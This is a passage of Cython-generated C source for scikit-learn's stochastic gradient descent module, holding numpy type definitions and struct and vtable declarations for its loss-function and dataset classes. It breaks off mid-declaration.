unlikely(x) (x)\n#endif /* __GNUC__ */\n    \nstatic PyObject *__pyx_m;\nstatic PyObject *__pyx_b;\nstatic PyObject *__pyx_empty_tuple;\nstatic PyObject *__pyx_empty_bytes;\nstatic int __pyx_lineno;\nstatic int __pyx_clineno = 0;\nstatic const char * __pyx_cfilenm= __FILE__;\nstatic const char *__pyx_filename;\n\n#if !defined(CYTHON_CCOMPLEX)\n  #if defined(__cplusplus)\n    #define CYTHON_CCOMPLEX 1\n  #elif defined(_Complex_I)\n    #define CYTHON_CCOMPLEX 1\n  #else\n    #define CYTHON_CCOMPLEX 0\n  #endif\n#endif\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    #include <complex>\n  #else\n    #include <complex.h>\n  #endif\n#endif\n#if CYTHON_CCOMPLEX && !defined(__cplusplus) && defined(__sun__) && defined(__GNUC__)\n  #undef _Complex_I\n  #define _Complex_I 1.0fj\n#endif\n\n\nstatic const char *__pyx_f[] = {\n  \"sgd_fast.pyx\",\n  \"numpy.pxd\",\n  \"type.pxd\",\n  \"weight_vector.pxd\",\n  \"seq_dataset.pxd\",\n};\n#define IS_UNSIGNED(type) (((type) -1) > 0)\nstruct __Pyx_StructField_;\n#define __PYX_BUF_FLAGS_PACKED_STRUCT (1 << 0)\ntypedef struct {\n  const char* name; /* for error messages only */\n  struct __Pyx_StructField_* fields;\n  size_t size;     /* sizeof(type) */\n  size_t arraysize[8]; /* length of array in each dimension */\n  int ndim;\n  char typegroup; /* _R_eal, _C_omplex, Signed _I_nt, _U_nsigned int, _S_truct, _P_ointer, _O_bject, c_H_ar */\n  char is_unsigned;\n  int flags;\n} __Pyx_TypeInfo;\ntypedef struct __Pyx_StructField_ {\n  __Pyx_TypeInfo* type;\n  const char* name;\n  size_t offset;\n} __Pyx_StructField;\ntypedef struct {\n  __Pyx_StructField* field;\n  size_t parent_offset;\n} __Pyx_BufFmt_StackElem;\ntypedef struct {\n  __Pyx_StructField root;\n  __Pyx_BufFmt_StackElem* head;\n  size_t fmt_offset;\n  size_t new_count, enc_count;\n  size_t struct_alignment;\n  int is_complex;\n  char enc_type;\n  char new_packmode;\n  char enc_packmode;\n  char is_valid_array;\n} __Pyx_BufFmt_Context;\n\n\n/* \"numpy.pxd\":723\n * # in Cython to enable them only on the right systems.\n * \n * ctypedef npy_int8       int8_t             # <<<<<<<<<<<<<<\n * ctypedef npy_int16      int16_t\n * ctypedef npy_int32      int32_t\n */\ntypedef npy_int8 __pyx_t_5numpy_int8_t;\n\n/* \"numpy.pxd\":724\n * \n * ctypedef npy_int8       int8_t\n * ctypedef npy_int16      int16_t             # <<<<<<<<<<<<<<\n * ctypedef npy_int32      int32_t\n * ctypedef npy_int64      int64_t\n */\ntypedef npy_int16 __pyx_t_5numpy_int16_t;\n\n/* \"numpy.pxd\":725\n * ctypedef npy_int8       int8_t\n * ctypedef npy_int16      int16_t\n * ctypedef npy_int32      int32_t             # <<<<<<<<<<<<<<\n * ctypedef npy_int64      int64_t\n * #ctypedef npy_int96      int96_t\n */\ntypedef npy_int32 __pyx_t_5numpy_int32_t;\n\n/* \"numpy.pxd\":726\n * ctypedef npy_int16      int16_t\n * ctypedef npy_int32      int32_t\n * ctypedef npy_int64      int64_t             # <<<<<<<<<<<<<<\n * #ctypedef npy_int96      int96_t\n * #ctypedef npy_int128     int128_t\n */\ntypedef npy_int64 __pyx_t_5numpy_int64_t;\n\n/* \"numpy.pxd\":730\n * #ctypedef npy_int128     int128_t\n * \n * ctypedef npy_uint8      uint8_t             # <<<<<<<<<<<<<<\n * ctypedef npy_uint16     uint16_t\n * ctypedef npy_uint32     uint32_t\n */\ntypedef npy_uint8 __pyx_t_5numpy_uint8_t;\n\n/* \"numpy.pxd\":731\n * \n * ctypedef npy_uint8      uint8_t\n * ctypedef npy_uint16     uint16_t             # <<<<<<<<<<<<<<\n * ctypedef npy_uint32     uint32_t\n * ctypedef npy_uint64     uint64_t\n */\ntypedef npy_uint16 __pyx_t_5numpy_uint16_t;\n\n/* \"numpy.pxd\":732\n * ctypedef npy_uint8      uint8_t\n * ctypedef npy_uint16     uint16_t\n * ctypedef npy_uint32     uint32_t             # <<<<<<<<<<<<<<\n * ctypedef npy_uint64     uint64_t\n * #ctypedef npy_uint96     uint96_t\n */\ntypedef npy_uint32 __pyx_t_5numpy_uint32_t;\n\n/* \"numpy.pxd\":733\n * ctypedef npy_uint16     uint16_t\n * ctypedef npy_uint32     uint32_t\n * ctypedef npy_uint64     uint64_t             # <<<<<<<<<<<<<<\n * #ctypedef npy_uint96     uint96_t\n * #ctypedef npy_uint128    uint128_t\n */\ntypedef npy_uint64 __pyx_t_5numpy_uint64_t;\n\n/* \"numpy.pxd\":737\n * #ctypedef npy_uint128    uint128_t\n * \n * ctypedef npy_float32    float32_t             # <<<<<<<<<<<<<<\n * ctypedef npy_float64    float64_t\n * #ctypedef npy_float80    float80_t\n */\ntypedef npy_float32 __pyx_t_5numpy_float32_t;\n\n/* \"numpy.pxd\":738\n * \n * ctypedef npy_float32    float32_t\n * ctypedef npy_float64    float64_t             # <<<<<<<<<<<<<<\n * #ctypedef npy_float80    float80_t\n * #ctypedef npy_float128   float128_t\n */\ntypedef npy_float64 __pyx_t_5numpy_float64_t;\n\n/* \"numpy.pxd\":747\n * # The int types are mapped a bit surprising --\n * # numpy.int corresponds to 'l' and numpy.long to 'q'\n * ctypedef npy_long       int_t             # <<<<<<<<<<<<<<\n * ctypedef npy_longlong   long_t\n * ctypedef npy_longlong   longlong_t\n */\ntypedef npy_long __pyx_t_5numpy_int_t;\n\n/* \"numpy.pxd\":748\n * # numpy.int corresponds to 'l' and numpy.long to 'q'\n * ctypedef npy_long       int_t\n * ctypedef npy_longlong   long_t             # <<<<<<<<<<<<<<\n * ctypedef npy_longlong   longlong_t\n * \n */\ntypedef npy_longlong __pyx_t_5numpy_long_t;\n\n/* \"numpy.pxd\":749\n * ctypedef npy_long       int_t\n * ctypedef npy_longlong   long_t\n * ctypedef npy_longlong   longlong_t             # <<<<<<<<<<<<<<\n * \n * ctypedef npy_ulong      uint_t\n */\ntypedef npy_longlong __pyx_t_5numpy_longlong_t;\n\n/* \"numpy.pxd\":751\n * ctypedef npy_longlong   longlong_t\n * \n * ctypedef npy_ulong      uint_t             # <<<<<<<<<<<<<<\n * ctypedef npy_ulonglong  ulong_t\n * ctypedef npy_ulonglong  ulonglong_t\n */\ntypedef npy_ulong __pyx_t_5numpy_uint_t;\n\n/* \"numpy.pxd\":752\n * \n * ctypedef npy_ulong      uint_t\n * ctypedef npy_ulonglong  ulong_t             # <<<<<<<<<<<<<<\n * ctypedef npy_ulonglong  ulonglong_t\n * \n */\ntypedef npy_ulonglong __pyx_t_5numpy_ulong_t;\n\n/* \"numpy.pxd\":753\n * ctypedef npy_ulong      uint_t\n * ctypedef npy_ulonglong  ulong_t\n * ctypedef npy_ulonglong  ulonglong_t             # <<<<<<<<<<<<<<\n * \n * ctypedef npy_intp       intp_t\n */\ntypedef npy_ulonglong __pyx_t_5numpy_ulonglong_t;\n\n/* \"numpy.pxd\":755\n * ctypedef npy_ulonglong  ulonglong_t\n * \n * ctypedef npy_intp       intp_t             # <<<<<<<<<<<<<<\n * ctypedef npy_uintp      uintp_t\n * \n */\ntypedef npy_intp __pyx_t_5numpy_intp_t;\n\n/* \"numpy.pxd\":756\n * \n * ctypedef npy_intp       intp_t\n * ctypedef npy_uintp      uintp_t             # <<<<<<<<<<<<<<\n * \n * ctypedef npy_double     float_t\n */\ntypedef npy_uintp __pyx_t_5numpy_uintp_t;\n\n/* \"numpy.pxd\":758\n * ctypedef npy_uintp      uintp_t\n * \n * ctypedef npy_double     float_t             # <<<<<<<<<<<<<<\n * ctypedef npy_double     double_t\n * ctypedef npy_longdouble longdouble_t\n */\ntypedef npy_double __pyx_t_5numpy_float_t;\n\n/* \"numpy.pxd\":759\n * \n * ctypedef npy_double     float_t\n * ctypedef npy_double     double_t             # <<<<<<<<<<<<<<\n * ctypedef npy_longdouble longdouble_t\n * \n */\ntypedef npy_double __pyx_t_5numpy_double_t;\n\n/* \"numpy.pxd\":760\n * ctypedef npy_double     float_t\n * ctypedef npy_double     double_t\n * ctypedef npy_longdouble longdouble_t             # <<<<<<<<<<<<<<\n * \n * ctypedef npy_cfloat      cfloat_t\n */\ntypedef npy_longdouble __pyx_t_5numpy_longdouble_t;\n\n/* \"sklearn/utils/weight_vector.pxd\":10\n * \n * \n * ctypedef np.float64_t DOUBLE             # <<<<<<<<<<<<<<\n * ctypedef np.int32_t INTEGER\n * \n */\ntypedef __pyx_t_5numpy_float64_t __pyx_t_7sklearn_5utils_13weight_vector_DOUBLE;\n\n/* \"sklearn/utils/weight_vector.pxd\":11\n * \n * ctypedef np.float64_t DOUBLE\n * ctypedef np.int32_t INTEGER             # <<<<<<<<<<<<<<\n * \n * \n */\ntypedef __pyx_t_5numpy_int32_t __pyx_t_7sklearn_5utils_13weight_vector_INTEGER;\n\n/* \"sklearn/utils/seq_dataset.pxd\":5\n * cimport numpy as np\n * \n * ctypedef np.float64_t DOUBLE             # <<<<<<<<<<<<<<\n * ctypedef np.int32_t INTEGER\n * \n */\ntypedef __pyx_t_5numpy_float64_t __pyx_t_7sklearn_5utils_11seq_dataset_DOUBLE;\n\n/* \"sklearn/utils/seq_dataset.pxd\":6\n * \n * ctypedef np.float64_t DOUBLE\n * ctypedef np.int32_t INTEGER             # <<<<<<<<<<<<<<\n * \n * \n */\ntypedef __pyx_t_5numpy_int32_t __pyx_t_7sklearn_5utils_11seq_dataset_INTEGER;\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":25\n * \n * \n * ctypedef np.float64_t DOUBLE             # <<<<<<<<<<<<<<\n * ctypedef np.int32_t INTEGER\n * \n */\ntypedef __pyx_t_5numpy_float64_t __pyx_t_7sklearn_12linear_model_8sgd_fast_DOUBLE;\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":26\n * \n * ctypedef np.float64_t DOUBLE\n * ctypedef np.int32_t INTEGER             # <<<<<<<<<<<<<<\n * \n * \n */\ntypedef __pyx_t_5numpy_int32_t __pyx_t_7sklearn_12linear_model_8sgd_fast_INTEGER;\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    typedef ::std::complex< float > __pyx_t_float_complex;\n  #else\n    typedef float _Complex __pyx_t_float_complex;\n  #endif\n#else\n    typedef struct { float real, imag; } __pyx_t_float_complex;\n#endif\n\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    typedef ::std::complex< double > __pyx_t_double_complex;\n  #else\n    typedef double _Complex __pyx_t_double_complex;\n  #endif\n#else\n    typedef struct { double real, imag; } __pyx_t_double_complex;\n#endif\n\n\n/*--- Type declarations ---*/\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction;\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression;\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber;\nstruct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset;\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive;\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification;\nstruct __pyx_obj_7sklearn_5utils_11seq_dataset_CSRDataset;\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log;\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge;\nstruct __pyx_obj_7sklearn_5utils_11seq_dataset_ArrayDataset;\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge;\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber;\nstruct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector;\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss;\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive;\n\n/* \"numpy.pxd\":762\n * ctypedef npy_longdouble longdouble_t\n * \n * ctypedef npy_cfloat      cfloat_t             # <<<<<<<<<<<<<<\n * ctypedef npy_cdouble     cdouble_t\n * ctypedef npy_clongdouble clongdouble_t\n */\ntypedef npy_cfloat __pyx_t_5numpy_cfloat_t;\n\n/* \"numpy.pxd\":763\n * \n * ctypedef npy_cfloat      cfloat_t\n * ctypedef npy_cdouble     cdouble_t             # <<<<<<<<<<<<<<\n * ctypedef npy_clongdouble clongdouble_t\n * \n */\ntypedef npy_cdouble __pyx_t_5numpy_cdouble_t;\n\n/* \"numpy.pxd\":764\n * ctypedef npy_cfloat      cfloat_t\n * ctypedef npy_cdouble     cdouble_t\n * ctypedef npy_clongdouble clongdouble_t             # <<<<<<<<<<<<<<\n * \n * ctypedef npy_cdouble     complex_t\n */\ntypedef npy_clongdouble __pyx_t_5numpy_clongdouble_t;\n\n/* \"numpy.pxd\":766\n * ctypedef npy_clongdouble clongdouble_t\n * \n * ctypedef npy_cdouble     complex_t             # <<<<<<<<<<<<<<\n * \n * cdef inline object PyArray_MultiIterNew1(a):\n */\ntypedef npy_cdouble __pyx_t_5numpy_complex_t;\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":46\n * # ----------------------------------------\n * \n * cdef class LossFunction:             # <<<<<<<<<<<<<<\n *     \"\"\"Base class for convex loss functions\"\"\"\n * \n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction {\n  PyObject_HEAD\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_vtab;\n};\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":84\n * \n * \n * cdef class Regression(LossFunction):             # <<<<<<<<<<<<<<\n *     \"\"\"Base class for loss functions for regression\"\"\"\n * \n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction __pyx_base;\n};\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":235\n * \n * \n * cdef class Huber(Regression):             # <<<<<<<<<<<<<<\n *     \"\"\"Huber regression loss\n * \n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Huber {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression __pyx_base;\n  double c;\n};\n\n\n/* \"sklearn/utils/seq_dataset.pxd\":9\n * \n * \n * cdef class SequentialDataset:             # <<<<<<<<<<<<<<\n *     cdef Py_ssize_t n_samples\n * \n */\nstruct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset {\n  PyObject_HEAD\n  struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_SequentialDataset *__pyx_vtab;\n  Py_ssize_t n_samples;\n};\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":271\n * \n * \n * cdef class EpsilonInsensitive(Regression):             # <<<<<<<<<<<<<<\n *     \"\"\"Epsilon-Insensitive loss (used by SVR).\n * \n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression __pyx_base;\n  double epsilon;\n};\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":94\n * \n * \n * cdef class Classification(LossFunction):             # <<<<<<<<<<<<<<\n *     \"\"\"Base class for loss functions for classification\"\"\"\n * \n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction __pyx_base;\n};\n\n\n/* \"sklearn/utils/seq_dataset.pxd\":34\n * \n * \n * cdef class CSRDataset(SequentialDataset):             # <<<<<<<<<<<<<<\n *     cdef int current_index\n *     cdef int stride\n */\nstruct __pyx_obj_7sklearn_5utils_11seq_dataset_CSRDataset {\n  struct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset __pyx_base;\n  int current_index;\n  int stride;\n  __pyx_t_7sklearn_5utils_11seq_dataset_DOUBLE *X_data_ptr;\n  __pyx_t_7sklearn_5utils_11seq_dataset_INTEGER *X_indptr_ptr;\n  __pyx_t_7sklearn_5utils_11seq_dataset_INTEGER *X_indices_ptr;\n  __pyx_t_7sklearn_5utils_11seq_dataset_DOUBLE *Y_data_ptr;\n  PyArrayObject *feature_indices;\n  __pyx_t_7sklearn_5utils_11seq_dataset_INTEGER *feature_indices_ptr;\n  PyArrayObject *index;\n  __pyx_t_7sklearn_5utils_11seq_dataset_INTEGER *index_data_ptr;\n  __pyx_t_7sklearn_5utils_11seq_dataset_DOUBLE *sample_weight_data;\n};\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":198\n * \n * \n * cdef class Log(Classification):             # <<<<<<<<<<<<<<\n *     \"\"\"Logistic regression loss for binary classification with y in {-1, 1}\"\"\"\n * \n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Log {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification __pyx_base;\n};\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":134\n * \n * \n * cdef class Hinge(Classification):             # <<<<<<<<<<<<<<\n *     \"\"\"Hinge loss for binary classification tasks with y in {-1,1}\n * \n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Hinge {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification __pyx_base;\n  double threshold;\n};\n\n\n/* \"sklearn/utils/seq_dataset.pxd\":17\n * \n * \n * cdef class ArrayDataset(SequentialDataset):             # <<<<<<<<<<<<<<\n *     cdef Py_ssize_t n_features\n *     cdef int current_index\n */\nstruct __pyx_obj_7sklearn_5utils_11seq_dataset_ArrayDataset {\n  struct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset __pyx_base;\n  Py_ssize_t n_features;\n  int current_index;\n  int stride;\n  __pyx_t_7sklearn_5utils_11seq_dataset_DOUBLE *X_data_ptr;\n  __pyx_t_7sklearn_5utils_11seq_dataset_DOUBLE *Y_data_ptr;\n  PyArrayObject *feature_indices;\n  __pyx_t_7sklearn_5utils_11seq_dataset_INTEGER *feature_indices_ptr;\n  PyArrayObject *index;\n  __pyx_t_7sklearn_5utils_11seq_dataset_INTEGER *index_data_ptr;\n  __pyx_t_7sklearn_5utils_11seq_dataset_DOUBLE *sample_weight_data;\n};\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":166\n * \n * \n * cdef class SquaredHinge(LossFunction):             # <<<<<<<<<<<<<<\n *     \"\"\"Squared Hinge loss for binary classification tasks with y in {-1,1}\n * \n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredHinge {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction __pyx_base;\n  double threshold;\n};\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":104\n * \n * \n * cdef class ModifiedHuber(Classification):             # <<<<<<<<<<<<<<\n *     \"\"\"Modified Huber loss for binary classification with y in {-1, 1}\n * \n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification __pyx_base;\n};\n\n\n/* \"sklearn/utils/weight_vector.pxd\":14\n * \n * \n * cdef class WeightVector(object):             # <<<<<<<<<<<<<<\n *     cdef np.ndarray w\n *     cdef DOUBLE *w_data_ptr\n */\nstruct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector {\n  PyObject_HEAD\n  struct __pyx_vtabstruct_7sklearn_5utils_13weight_vector_WeightVector *__pyx_vtab;\n  PyArrayObject *w;\n  __pyx_t_7sklearn_5utils_13weight_vector_DOUBLE *w_data_ptr;\n  double wscale;\n  Py_ssize_t n_features;\n  double sq_norm;\n};\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":223\n * \n * \n * cdef class SquaredLoss(Regression):             # <<<<<<<<<<<<<<\n *     \"\"\"Squared loss traditional used in linear regression.\"\"\"\n *     cpdef double loss(self, double p, double y):\n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredLoss {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression __pyx_base;\n};\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":298\n * \n * \n * cdef class SquaredEpsilonInsensitive(Regression):             # <<<<<<<<<<<<<<\n *     \"\"\"Epsilon-Insensitive loss.\n * \n */\nstruct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive {\n  struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression __pyx_base;\n  double epsilon;\n};\n\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":46\n * # ----------------------------------------\n * \n * cdef class LossFunction:             # <<<<<<<<<<<<<<\n *     \"\"\"Base class for convex loss functions\"\"\"\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction {\n  double (*loss)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch);\n  double (*dloss)(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *, double, double, int __pyx_skip_dispatch);\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_LossFunction;\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":84\n * \n * \n * cdef class Regression(LossFunction):             # <<<<<<<<<<<<<<\n *     \"\"\"Base class for loss functions for regression\"\"\"\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Regression {\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Regression *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Regression;\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":223\n * \n * \n * cdef class SquaredLoss(Regression):             # <<<<<<<<<<<<<<\n *     \"\"\"Squared loss traditional used in linear regression.\"\"\"\n *     cpdef double loss(self, double p, double y):\n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredLoss {\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Regression __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredLoss *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredLoss;\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":94\n * \n * \n * cdef class Classification(LossFunction):             # <<<<<<<<<<<<<<\n *     \"\"\"Base class for loss functions for classification\"\"\"\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Classification {\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Classification *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Classification;\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":104\n * \n * \n * cdef class ModifiedHuber(Classification):             # <<<<<<<<<<<<<<\n *     \"\"\"Modified Huber loss for binary classification with y in {-1, 1}\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_ModifiedHuber {\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Classification __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_ModifiedHuber;\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":198\n * \n * \n * cdef class Log(Classification):             # <<<<<<<<<<<<<<\n *     \"\"\"Logistic regression loss for binary classification with y in {-1, 1}\"\"\"\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Log {\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Classification __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Log *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Log;\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":298\n * \n * \n * cdef class SquaredEpsilonInsensitive(Regression):             # <<<<<<<<<<<<<<\n *     \"\"\"Epsilon-Insensitive loss.\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive {\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Regression __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive;\n\n\n/* \"sklearn/utils/seq_dataset.pxd\":9\n * \n * \n * cdef class SequentialDataset:             # <<<<<<<<<<<<<<\n *     cdef Py_ssize_t n_samples\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_SequentialDataset {\n  void (*next)(struct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset *, __pyx_t_7sklearn_5utils_11seq_dataset_DOUBLE **, __pyx_t_7sklearn_5utils_11seq_dataset_INTEGER **, int *, __pyx_t_7sklearn_5utils_11seq_dataset_DOUBLE *, __pyx_t_7sklearn_5utils_11seq_dataset_DOUBLE *);\n  void (*shuffle)(struct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset *, PyObject *);\n};\nstatic struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_SequentialDataset *__pyx_vtabptr_7sklearn_5utils_11seq_dataset_SequentialDataset;\n\n\n/* \"sklearn/utils/seq_dataset.pxd\":17\n * \n * \n * cdef class ArrayDataset(SequentialDataset):             # <<<<<<<<<<<<<<\n *     cdef Py_ssize_t n_features\n *     cdef int current_index\n */\n\nstruct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_ArrayDataset {\n  struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_SequentialDataset __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_ArrayDataset *__pyx_vtabptr_7sklearn_5utils_11seq_dataset_ArrayDataset;\n\n\n/* \"sklearn/utils/seq_dataset.pxd\":34\n * \n * \n * cdef class CSRDataset(SequentialDataset):             # <<<<<<<<<<<<<<\n *     cdef int current_index\n *     cdef int stride\n */\n\nstruct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_CSRDataset {\n  struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_SequentialDataset __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_5utils_11seq_dataset_CSRDataset *__pyx_vtabptr_7sklearn_5utils_11seq_dataset_CSRDataset;\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":271\n * \n * \n * cdef class EpsilonInsensitive(Regression):             # <<<<<<<<<<<<<<\n *     \"\"\"Epsilon-Insensitive loss (used by SVR).\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive {\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Regression __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive;\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":166\n * \n * \n * cdef class SquaredHinge(LossFunction):             # <<<<<<<<<<<<<<\n *     \"\"\"Squared Hinge loss for binary classification tasks with y in {-1,1}\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredHinge {\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_SquaredHinge *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_SquaredHinge;\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":235\n * \n * \n * cdef class Huber(Regression):             # <<<<<<<<<<<<<<\n *     \"\"\"Huber regression loss\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Huber {\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Regression __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Huber *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Huber;\n\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":134\n * \n * \n * cdef class Hinge(Classification):             # <<<<<<<<<<<<<<\n *     \"\"\"Hinge loss for binary classification tasks with y in {-1,1}\n * \n */\n\nstruct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Hinge {\n  struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Classification __pyx_base;\n};\nstatic struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Hinge *__pyx_vtabptr_7sklearn_12linear_model_8sgd_fast_Hinge;\n\n\n/* \"sklearn/utils/weight_vector.pxd\":14\n * \n * \n * cdef class WeightVector(object):             # <<<<<<<<<<<<<<\n *     cdef np.ndarray w\n *     cdef DOUBLE *w_data_ptr\n */\n\nstruct __pyx_vtabstruct_7sklearn_5utils_13weight_vector_WeightVector {\n  void (*add)(struct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector *, __pyx_t_7sklearn_5utils_13weight_vector_DOUBLE *, __pyx_t_7sklearn_5utils_13weight_vector_INTEGER *, int, double);\n  double (*dot)(struct __pyx_obj_7sklearn_5utils_13weight_vector_WeightVector *, 